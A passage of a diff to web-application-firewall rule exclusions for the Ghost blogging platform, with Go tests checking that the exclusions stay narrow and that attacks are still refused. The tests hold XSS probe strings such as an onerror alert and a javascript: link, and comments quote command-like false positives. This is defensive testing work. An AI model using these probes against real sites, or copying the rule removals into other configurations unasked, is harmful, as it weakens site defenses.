||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:name|username|bio)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:name|username|bio)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:name|username|bio)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:name|username|bio)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:name|username|bio)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:name|username|bio)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:name|username|bio)$/"
|
||||||
|
|
||||||
# A member's email address skips 930120, 932120 and 932260, which refused
|
# A member's email address skips 930120, 932120 and 932260, which refused
|
||||||
# erin.htaccess@example.com, dave.powershell@example.com and
|
# erin.htaccess@example.com, dave.powershell@example.com and
|
||||||
# python3.dev@example.com. These fields hold it:
|
# python3.dev@example.com. These fields hold it:
|
||||||
@@ -132,6 +272,30 @@ SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
|
|||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.users\.\d+\.email$/,\
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.users\.\d+\.email$/,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.users\.\d+\.email$/"
|
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.users\.\d+\.email$/"
|
||||||
|
|
||||||
|
# The address of a staff invitation skips the same three rules. Each of these
|
||||||
|
# fields skips them only on its own path:
|
||||||
|
# invites.<n>.email, inviting a staff user at /ghost/api/admin/invites/
|
||||||
|
# email in the query, checking an invitation at
|
||||||
|
# /ghost/api/admin/authentication/invitation/
|
||||||
|
# invitation.<n>.email, accepting it at the same path
|
||||||
|
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/invites/" \
|
||||||
|
"id:900375,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^json\.invites\.\d+\.email$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.invites\.\d+\.email$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.invites\.\d+\.email$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.invites\.\d+\.email$/"
|
||||||
|
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/authentication/invitation/" \
|
||||||
|
"id:900376,phase:1,pass,nolog,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:email,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:email,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:email"
|
||||||
|
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/authentication/invitation/" \
|
||||||
|
"id:900377,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^json\.invitation\.\d+\.email$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.invitation\.\d+\.email$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.invitation\.\d+\.email$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.invitation\.\d+\.email$/"
|
||||||
|
|
||||||
# The articles skip these rules on the Admin API:
|
# The articles skip these rules on the Admin API:
|
||||||
# 930120: ls -la /var/www/html/.htaccess in a code block
|
# 930120: ls -la /var/www/html/.htaccess in a code block
|
||||||
# 932120: powershell -ExecutionPolicy Bypass -File build.ps1
|
# 932120: powershell -ExecutionPolicy Bypass -File build.ps1
|
||||||
@@ -207,6 +371,24 @@ SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
|
|||||||
SecRule &ARGS_GET:/^json\.users\.\d+\.profile_image$/ "@eq 0" \
|
SecRule &ARGS_GET:/^json\.users\.\d+\.profile_image$/ "@eq 0" \
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS_NAMES:/^json\.users\.\d+\.profile_image$/"
|
"ctl:ruleRemoveTargetById=930120;ARGS_NAMES:/^json\.users\.\d+\.profile_image$/"
|
||||||
|
|
||||||
|
# A tag's code injection, tags.<n>.codeinjection_head and _foot under
|
||||||
|
# /ghost/api/admin/tags/, skips the same rules as the code injection of posts.
|
||||||
|
# A <script> element and a javascript: link are still refused in it.
|
||||||
|
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/tags/" \
|
||||||
|
"id:900378,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=921130;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941100;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941160;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941270;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/"
|
||||||
|
|
||||||
# The passwords, which skip each rule that random passwords set off:
|
# The passwords, which skip each rule that random passwords set off:
|
||||||
# password, signing in at /ghost/api/admin/session/
|
# password, signing in at /ghost/api/admin/session/
|
||||||
# setup.<n>.password, creating the first staff user
|
# setup.<n>.password, creating the first staff user
|
||||||
|
|||||||
@@ -28,6 +28,16 @@ const (
|
|||||||
ghostUser = "/ghost/api/admin/users/6af4570fd281b00001a59891/"
|
ghostUser = "/ghost/api/admin/users/6af4570fd281b00001a59891/"
|
||||||
ghostMember = "/members/api/member/"
|
ghostMember = "/members/api/member/"
|
||||||
ghostMagicLink = "/members/api/send-magic-link/"
|
ghostMagicLink = "/members/api/send-magic-link/"
|
||||||
|
ghostInvites = "/ghost/api/admin/invites/"
|
||||||
|
ghostInvitation = "/ghost/api/admin/authentication/invitation/"
|
||||||
|
ghostTiers = "/ghost/api/admin/tiers/6af45710d281b00001a598a3/"
|
||||||
|
ghostOffers = "/ghost/api/admin/offers/"
|
||||||
|
ghostRecommended = "/ghost/api/admin/recommendations/"
|
||||||
|
ghostTags = "/ghost/api/admin/tags/"
|
||||||
|
ghostImport = "/ghost/api/admin/members/upload/"
|
||||||
|
ghostComments = "/members/api/comments/"
|
||||||
|
ghostNote = "/.ghost/activitypub/v1/actions/note"
|
||||||
|
ghostAccount = "/.ghost/activitypub/v1/account"
|
||||||
)
|
)
|
||||||
|
|
||||||
func TestGhostFixesApplyOnlyToAHostnameThatServesGhost(t *testing.T) {
|
func TestGhostFixesApplyOnlyToAHostnameThatServesGhost(t *testing.T) {
|
||||||
@@ -64,7 +74,7 @@ func (f ghostField) with(t *testing.T, value string) string {
|
|||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// ghostTextFields hold plain text and skip the rules of 900353 and 900359.
|
// ghostTextFields hold plain text and skip the eight rules of plain text.
|
||||||
//
|
//
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
var ghostTextFields = []ghostField{
|
var ghostTextFields = []ghostField{
|
||||||
@@ -116,8 +126,103 @@ var ghostTextFields = []ghostField{
|
|||||||
`{"snippets":[{"name":"VALUE"}]}`,
|
`{"snippets":[{"name":"VALUE"}]}`,
|
||||||
},
|
},
|
||||||
{http.MethodPut, ghostMember, ghostMemberName},
|
{http.MethodPut, ghostMember, ghostMemberName},
|
||||||
|
|
||||||
|
// A staff user's profile, the first staff user, an invitation accepted.
|
||||||
|
{http.MethodPut, ghostUser, `{"users":[{"name":"VALUE"}]}`},
|
||||||
|
{http.MethodPut, ghostUser, `{"users":[{"slug":"VALUE"}]}`},
|
||||||
|
{http.MethodPut, ghostUser, `{"users":[{"bio":"VALUE"}]}`},
|
||||||
|
{http.MethodPut, ghostUser, `{"users":[{"location":"VALUE"}]}`},
|
||||||
|
{http.MethodPut, ghostUser, `{"users":[{"website":"VALUE"}]}`},
|
||||||
|
{http.MethodPost, ghostSetup, `{"setup":[{"blogTitle":"VALUE"}]}`},
|
||||||
|
{http.MethodPost, ghostSetup, `{"setup":[{"name":"VALUE"}]}`},
|
||||||
|
{http.MethodPost, ghostInvitation, `{"invitation":[{"name":"VALUE"}]}`},
|
||||||
|
|
||||||
|
// Tiers, offers, recommendations, integrations and webhooks.
|
||||||
|
{http.MethodPut, ghostTiers, `{"tiers":[{"name":"VALUE"}]}`},
|
||||||
|
{http.MethodPut, ghostTiers, `{"tiers":[{"description":"VALUE"}]}`},
|
||||||
|
{
|
||||||
|
http.MethodPut,
|
||||||
|
ghostTiers,
|
||||||
|
`{"tiers":[{"benefits":["Tips","VALUE"]}]}`,
|
||||||
|
},
|
||||||
|
{http.MethodPost, ghostOffers, `{"offers":[{"name":"VALUE"}]}`},
|
||||||
|
{http.MethodPost, ghostOffers, `{"offers":[{"code":"VALUE"}]}`},
|
||||||
|
{http.MethodPost, ghostOffers, `{"offers":[{"display_title":"VALUE"}]}`},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
ghostOffers,
|
||||||
|
`{"offers":[{"display_description":"VALUE"}]}`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
ghostRecommended,
|
||||||
|
`{"recommendations":[{"title":"VALUE"}]}`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
ghostRecommended,
|
||||||
|
`{"recommendations":[{"description":"VALUE"}]}`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
ghostRecommended,
|
||||||
|
`{"recommendations":[{"excerpt":"VALUE"}]}`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
"/ghost/api/admin/integrations/",
|
||||||
|
`{"integrations":[{"name":"VALUE","description":"VALUE"}]}`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
"/ghost/api/admin/webhooks/",
|
||||||
|
`{"webhooks":[{"event":"post.published","name":"VALUE"}]}`,
|
||||||
|
},
|
||||||
|
|
||||||
|
// A feature image's alt text and caption.
|
||||||
|
{http.MethodPut, ghostPost, `{"posts":[{"feature_image_alt":"VALUE"}]}`},
|
||||||
|
{
|
||||||
|
http.MethodPut,
|
||||||
|
ghostPost,
|
||||||
|
`{"posts":[{"feature_image_caption":` +
|
||||||
|
`"Photo: <a href=\"https://example.com/\">VALUE</a>"}]}`,
|
||||||
|
},
|
||||||
|
{http.MethodPut, ghostPage, `{"pages":[{"feature_image_alt":"VALUE"}]}`},
|
||||||
|
|
||||||
|
// A member's comment, written and edited.
|
||||||
|
ghostNewComment,
|
||||||
|
{
|
||||||
|
http.MethodPut,
|
||||||
|
ghostComments + "6af5426ae56ecb0001938894/",
|
||||||
|
`{"comments":[{"id":"6af5426ae56ecb0001938894","html":"<p>VALUE</p>"}]}`,
|
||||||
|
},
|
||||||
|
|
||||||
|
// ActivityPub: a note, a reply and the account.
|
||||||
|
{http.MethodPost, ghostNote, `{"content":"VALUE"}`},
|
||||||
|
{http.MethodPost, ghostReply, `{"content":"VALUE"}`},
|
||||||
|
{http.MethodPut, ghostAccount, `{"name":"VALUE","username":"alice"}`},
|
||||||
|
{http.MethodPut, ghostAccount, `{"username":"VALUE"}`},
|
||||||
|
{http.MethodPut, ghostAccount, `{"bio":"VALUE"}`},
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ghostNewComment is a member's comment on a post, with VALUE in a paragraph.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a constant cannot be a struct
|
||||||
|
var ghostNewComment = ghostField{
|
||||||
|
http.MethodPost,
|
||||||
|
ghostComments,
|
||||||
|
`{"comments":[{"post_id":"6af458a5d281b00001a59969","html":"<p>VALUE</p>"}]}`,
|
||||||
|
}
|
||||||
|
|
||||||
|
// ghostComment is the HTML of an ordinary comment, with a link.
|
||||||
|
const ghostComment = `Try <strong>python3</strong>, then ` +
|
||||||
|
`<a href="https://example.com/ls-la" rel="ugc">ls -la</a>.`
|
||||||
|
|
||||||
|
// ghostReply is the path that posts a reply to a note in ActivityPub.
|
||||||
|
const ghostReply = "/.ghost/activitypub/v1/actions/reply/" +
|
||||||
|
"https%3A%2F%2Fexample.com%2F.ghost%2Factivitypub%2Fnote%2F" +
|
||||||
|
"0d6e3b4c-2a1f-4b5e-9c8d-7e6f5a4b3c2d"
|
||||||
|
|
||||||
// ghostMemberName is the body that saves a member's name at /members/api/.
|
// ghostMemberName is the body that saves a member's name at /members/api/.
|
||||||
const ghostMemberName = `{"name":"VALUE"}`
|
const ghostMemberName = `{"name":"VALUE"}`
|
||||||
|
|
||||||
@@ -135,6 +240,8 @@ var ghostAddressFields = []ghostField{
|
|||||||
{http.MethodPost, ghostMembers, `{"members":[{"email":"VALUE"}]}`},
|
{http.MethodPost, ghostMembers, `{"members":[{"email":"VALUE"}]}`},
|
||||||
{http.MethodPost, ghostSession, `{"username":"VALUE"}`},
|
{http.MethodPost, ghostSession, `{"username":"VALUE"}`},
|
||||||
{http.MethodPost, ghostSetup, `{"setup":[{"email":"VALUE"}]}`},
|
{http.MethodPost, ghostSetup, `{"setup":[{"email":"VALUE"}]}`},
|
||||||
|
{http.MethodPost, ghostInvites, `{"invites":[{"email":"VALUE"}]}`},
|
||||||
|
{http.MethodPost, ghostInvitation, `{"invitation":[{"email":"VALUE"}]}`},
|
||||||
{
|
{
|
||||||
http.MethodPost,
|
http.MethodPost,
|
||||||
ghostPasswordReset,
|
ghostPasswordReset,
|
||||||
@@ -168,7 +275,7 @@ var ghostArticleFields = []ghostField{
|
|||||||
}
|
}
|
||||||
|
|
||||||
// ghostCodeFields hold code injection or a setting and skip the rules of
|
// ghostCodeFields hold code injection or a setting and skip the rules of
|
||||||
// 900356.
|
// 900356 and 900378.
|
||||||
//
|
//
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
var ghostCodeFields = []ghostField{
|
var ghostCodeFields = []ghostField{
|
||||||
@@ -187,6 +294,16 @@ var ghostCodeFields = []ghostField{
|
|||||||
`{"settings":[{"key":"title","value":"Blog"},` +
|
`{"settings":[{"key":"title","value":"Blog"},` +
|
||||||
`{"key":"codeinjection_head","value":"VALUE"}]}`,
|
`{"key":"codeinjection_head","value":"VALUE"}]}`,
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
ghostTags,
|
||||||
|
`{"tags":[{"codeinjection_head":"VALUE"}]}`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPut,
|
||||||
|
ghostTags + "6af45d4ed281b00001a599a8/",
|
||||||
|
`{"tags":[{"codeinjection_foot":"VALUE"}]}`,
|
||||||
|
},
|
||||||
}
|
}
|
||||||
|
|
||||||
// The query fields that skip some rules, each ending in "=".
|
// The query fields that skip some rules, each ending in "=".
|
||||||
@@ -195,6 +312,13 @@ const (
|
|||||||
ghostContentFilter = "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter="
|
ghostContentFilter = "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter="
|
||||||
ghostSearch = ghostMembers + "?limit=100&search="
|
ghostSearch = ghostMembers + "?limit=100&search="
|
||||||
ghostEmbed = "/ghost/api/admin/oembed/?type=bookmark&url="
|
ghostEmbed = "/ghost/api/admin/oembed/?type=bookmark&url="
|
||||||
|
ghostStats = "/ghost/api/admin/stats/top-content/?date_from=2026-10-13"
|
||||||
|
ghostPathname = ghostStats + "&pathname="
|
||||||
|
ghostSource = ghostStats + "&source="
|
||||||
|
ghostCampaign = ghostStats + "&utm_campaign="
|
||||||
|
ghostSegment = ghostPost + "?newsletter=default-newsletter&email_segment="
|
||||||
|
ghostAccountSearch = "/.ghost/activitypub/v1/actions/search?query="
|
||||||
|
ghostInvitedEmail = ghostInvitation + "?email="
|
||||||
)
|
)
|
||||||
|
|
||||||
// ghostQueryFields are the query fields that skip some rules.
|
// ghostQueryFields are the query fields that skip some rules.
|
||||||
@@ -202,8 +326,13 @@ const (
|
|||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
var ghostQueryFields = []string{
|
var ghostQueryFields = []string{
|
||||||
ghostAdminFilter, ghostContentFilter, ghostSearch, ghostEmbed,
|
ghostAdminFilter, ghostContentFilter, ghostSearch, ghostEmbed,
|
||||||
|
ghostPathname, ghostSource, ghostCampaign, ghostSegment,
|
||||||
|
ghostAccountSearch, ghostInvitedEmail,
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ghostCommandNames joins two command names, as an ordinary title can.
|
||||||
|
const ghostCommandNames = "powershell & python3"
|
||||||
|
|
||||||
// ghostURLs are addresses 930120 and 932120 refused in url.
|
// ghostURLs are addresses 930120 and 932120 refused in url.
|
||||||
//
|
//
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
@@ -327,6 +456,8 @@ func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
|
|||||||
wantGhostField(t, f, ghostCodeInjection, false)
|
wantGhostField(t, f, ghostCodeInjection, false)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
wantGhostField(t, ghostNewComment, ghostComment, false)
|
||||||
|
|
||||||
wantGhostQuery(t, "/ghost/api/admin/posts/?filter="+
|
wantGhostQuery(t, "/ghost/api/admin/posts/?filter="+
|
||||||
url.QueryEscape(
|
url.QueryEscape(
|
||||||
"tag:powershell+status:[draft,scheduled,published,sent]",
|
"tag:powershell+status:[draft,scheduled,published,sent]",
|
||||||
@@ -358,13 +489,17 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// A command after a separator stays refused wherever its rules do not
|
// A command after a separator stays refused wherever 932235 does not
|
||||||
// misfire: in the query fields, the plain text and the addresses.
|
// misfire: in the addresses, search, url, email_segment and email. The
|
||||||
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields) {
|
// plain text, filter and the analytics' fields skip 932235, which
|
||||||
|
// refuses "powershell & python3" as it refuses this.
|
||||||
|
for _, f := range ghostAddressFields {
|
||||||
wantGhostField(t, f, commandAfterASeparator, true)
|
wantGhostField(t, f, commandAfterASeparator, true)
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, target := range ghostQueryFields {
|
for _, target := range []string{
|
||||||
|
ghostSearch, ghostEmbed, ghostSegment, ghostInvitedEmail,
|
||||||
|
} {
|
||||||
wantGhostQuery(
|
wantGhostQuery(
|
||||||
t,
|
t,
|
||||||
target+url.QueryEscape(commandAfterASeparator),
|
target+url.QueryEscape(commandAfterASeparator),
|
||||||
@@ -372,6 +507,15 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
|||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// A comment keeps the rules for scripts and HTML.
|
||||||
|
wantGhostField(t, ghostNewComment, `<img src=x onerror=alert(1)>`, true)
|
||||||
|
wantGhostField(
|
||||||
|
t,
|
||||||
|
ghostNewComment,
|
||||||
|
`<a href="javascript:alert(1)">x</a>`,
|
||||||
|
true,
|
||||||
|
)
|
||||||
|
|
||||||
// The articles and code injection carry HTML on purpose, but a script
|
// The articles and code injection carry HTML on purpose, but a script
|
||||||
// element and a javascript: link are still refused there.
|
// element and a javascript: link are still refused there.
|
||||||
for _, f := range slices.Concat(ghostArticleFields, ghostCodeFields) {
|
for _, f := range slices.Concat(ghostArticleFields, ghostCodeFields) {
|
||||||
@@ -385,6 +529,108 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestGhostTwoCommandNamesPass(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
for _, f := range ghostTextFields {
|
||||||
|
wantGhostField(t, f, ghostCommandNames, false)
|
||||||
|
}
|
||||||
|
|
||||||
|
// filter as the admin's post picker writes it, after a person types a
|
||||||
|
// title that joins two command names.
|
||||||
|
for _, typed := range []string{
|
||||||
|
ghostCommandNames, "python3 & powershell", "powershell & ls -la",
|
||||||
|
"ls -la & python3",
|
||||||
|
} {
|
||||||
|
filter := "status:published+title:~'" + typed + "'"
|
||||||
|
wantGhostQuery(t, ghostAdminFilter+url.QueryEscape(filter), false)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestGhostOrdinaryQueriesPass checks the query fields of the analytics
|
||||||
|
// pages, email_segment, the search of ActivityPub and the check of an
|
||||||
|
// invitation.
|
||||||
|
func TestGhostOrdinaryQueriesPass(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
for _, encoded := range hardValues {
|
||||||
|
value, _ := url.QueryUnescape(encoded)
|
||||||
|
text := url.QueryEscape("Notes on " + value + " & tidy files")
|
||||||
|
|
||||||
|
wantGhostQuery(
|
||||||
|
t,
|
||||||
|
ghostPathname+url.QueryEscape("/"+value+"/"),
|
||||||
|
false,
|
||||||
|
)
|
||||||
|
wantGhostQuery(t, ghostSource+encoded, false)
|
||||||
|
wantGhostQuery(t, ghostCampaign+text, false)
|
||||||
|
wantGhostQuery(t, ghostAccountSearch+text, false)
|
||||||
|
}
|
||||||
|
|
||||||
|
wantGhostQuery(
|
||||||
|
t,
|
||||||
|
ghostCampaign+url.QueryEscape(ghostCommandNames),
|
||||||
|
false,
|
||||||
|
)
|
||||||
|
wantGhostQuery(
|
||||||
|
t,
|
||||||
|
ghostAccountSearch+"%40powershell%40example.com",
|
||||||
|
false,
|
||||||
|
)
|
||||||
|
|
||||||
|
for _, segment := range []string{
|
||||||
|
"label:powershell-users", "label:python3", "label:ls-la",
|
||||||
|
"label:htaccess", "status:free,tier:powershell-club",
|
||||||
|
} {
|
||||||
|
wantGhostQuery(t, ghostSegment+url.QueryEscape(segment), false)
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, address := range ghostAddresses {
|
||||||
|
wantGhostQuery(t, ghostInvitedEmail+url.QueryEscape(address), false)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// wantGhostImportLabel checks that the Core Rule Set, reading bodies,
|
||||||
|
// refuses label, sent as labels in a CSV import to target, or lets it
|
||||||
|
// through.
|
||||||
|
func wantGhostImportLabel(
|
||||||
|
t *testing.T, target, label string, refused bool,
|
||||||
|
) {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
r := request{http.MethodPost, target, []string{multipart}}
|
||||||
|
body := field("labels", label) + field("mapping[email]", "email") + end
|
||||||
|
|
||||||
|
got, _ := inspectBody(t, readingBodies(t), r, body)
|
||||||
|
if refused && got.Score < ghostThreshold {
|
||||||
|
t.Errorf("labels=%q at %s let through: %+v", label, target, got)
|
||||||
|
}
|
||||||
|
|
||||||
|
if !refused && got.Score >= ghostThreshold {
|
||||||
|
t.Errorf("labels=%q at %s refused: %+v", label, target, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestGhostImportLabelsPass(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
for _, encoded := range hardValues {
|
||||||
|
value, _ := url.QueryUnescape(encoded)
|
||||||
|
wantGhostImportLabel(t, ghostImport, value+" import", false)
|
||||||
|
}
|
||||||
|
|
||||||
|
wantGhostImportLabel(t, ghostImport, ghostCommandNames, false)
|
||||||
|
|
||||||
|
for _, attack := range ghostAttacks {
|
||||||
|
wantGhostImportLabel(t, ghostImport, attack, true)
|
||||||
|
}
|
||||||
|
|
||||||
|
// labels keeps its rules on other paths, and when the query has a field
|
||||||
|
// of the same name.
|
||||||
|
wantGhostImportLabel(t, ghostMembers, "python3 import", true)
|
||||||
|
wantGhostImportLabel(t, ghostImport+"?labels=x", "python3 import", true)
|
||||||
|
}
|
||||||
|
|
||||||
func TestGhostExclusionsAreNarrow(t *testing.T) {
|
func TestGhostExclusionsAreNarrow(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
@@ -420,7 +666,6 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
|
|||||||
`{"settings":[{"value":"<meta name=x content=y>"}]}`,
|
`{"settings":[{"value":"<meta name=x content=y>"}]}`,
|
||||||
},
|
},
|
||||||
{"/ghost/api/admin/members/", `{"members":[{"geolocation":"python3"}]}`},
|
{"/ghost/api/admin/members/", `{"members":[{"geolocation":"python3"}]}`},
|
||||||
{"/ghost/api/admin/invites/", `{"invites":[{"email":"python3.dev@example.com"}]}`},
|
|
||||||
{ghostPosts, email},
|
{ghostPosts, email},
|
||||||
{ghostMembers, email},
|
{ghostMembers, email},
|
||||||
{ghostMember, `{"members":[{"email":"python3.dev@example.com"}]}`},
|
{ghostMember, `{"members":[{"email":"python3.dev@example.com"}]}`},
|
||||||
@@ -464,7 +709,8 @@ func TestGhostQueryExclusionsAreNarrow(t *testing.T) {
|
|||||||
|
|
||||||
// The query fields keep their rules off Ghost's paths, and in other
|
// The query fields keep their rules off Ghost's paths, and in other
|
||||||
// query fields there. search skips its rules only on the Admin API, and
|
// query fields there. search skips its rules only on the Admin API, and
|
||||||
// url only on the editor's lookup of embeds.
|
// url only on the editor's lookup of embeds. pathname, email_segment,
|
||||||
|
// query and email skip theirs only on their own paths.
|
||||||
for _, target := range []string{
|
for _, target := range []string{
|
||||||
"/api/posts/?filter=powershell",
|
"/api/posts/?filter=powershell",
|
||||||
"/ghost/posts/?filter=powershell",
|
"/ghost/posts/?filter=powershell",
|
||||||
@@ -473,11 +719,61 @@ func TestGhostQueryExclusionsAreNarrow(t *testing.T) {
|
|||||||
"/members/api/member/?search=python3",
|
"/members/api/member/?search=python3",
|
||||||
"/ghost/api/admin/posts/?url=powershell",
|
"/ghost/api/admin/posts/?url=powershell",
|
||||||
"/oembed/?url=powershell",
|
"/oembed/?url=powershell",
|
||||||
|
"/ghost/api/admin/posts/?pathname=%2Fpowershell%2F",
|
||||||
|
"/ghost/api/admin/stats/top-content/?order=powershell",
|
||||||
|
"/ghost/api/admin/pages/?email_segment=label%3Apowershell-users",
|
||||||
|
"/ghost/api/admin/posts/?query=python3",
|
||||||
|
"/.ghost/activitypub/v1/actions/note?query=python3",
|
||||||
|
"/ghost/api/admin/invites/?email=python3.dev%40example.com",
|
||||||
} {
|
} {
|
||||||
wantGhostQuery(t, target, true)
|
wantGhostQuery(t, target, true)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// TestGhostStaffCommentAndActivityPubExclusionsAreNarrow checks the body
|
||||||
|
// fields that 900370 to 900378 name, as TestGhostExclusionsAreNarrow checks
|
||||||
|
// the others: each keeps its rules on another path, and when the query has
|
||||||
|
// a field of the same name.
|
||||||
|
func TestGhostStaffCommentAndActivityPubExclusionsAreNarrow(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
const (
|
||||||
|
bio = `{"users":[{"bio":"python3"}]}`
|
||||||
|
comment = `{"comments":[{"html":"<p>Notes on .htaccess</p>"}]}`
|
||||||
|
content = `{"content":"python3"}`
|
||||||
|
accountBio = `{"bio":"python3"}`
|
||||||
|
invited = `{"invites":[{"email":"python3.dev@example.com"}]}`
|
||||||
|
accepted = `{"invitation":[{"email":"python3.dev@example.com"}]}`
|
||||||
|
tagCode = `{"tags":[{"codeinjection_head":"<meta name=x content=y>"}]}`
|
||||||
|
)
|
||||||
|
|
||||||
|
for _, refused := range []struct{ target, body string }{
|
||||||
|
{"/api/users/1/", bio},
|
||||||
|
{ghostMember, bio},
|
||||||
|
{ghostUser + "?json.users.0.bio=x", bio},
|
||||||
|
{ghostPosts, comment},
|
||||||
|
{ghostComments + "?json.comments.0.html=x", comment},
|
||||||
|
{ghostAccount, content},
|
||||||
|
{ghostNote + "?json.content=x", content},
|
||||||
|
{ghostNote, accountBio},
|
||||||
|
{ghostAccount + "?json.bio=x", accountBio},
|
||||||
|
{ghostPosts, invited},
|
||||||
|
{ghostInvites + "?json.invites.0.email=x", invited},
|
||||||
|
{ghostInvites, accepted},
|
||||||
|
{ghostInvitation + "?json.invitation.0.email=x", accepted},
|
||||||
|
{ghostPosts, tagCode},
|
||||||
|
{ghostTags + "?json.tags.0.codeinjection_head=x", tagCode},
|
||||||
|
} {
|
||||||
|
r := request{http.MethodPut, refused.target, []string{jsonBody}}
|
||||||
|
|
||||||
|
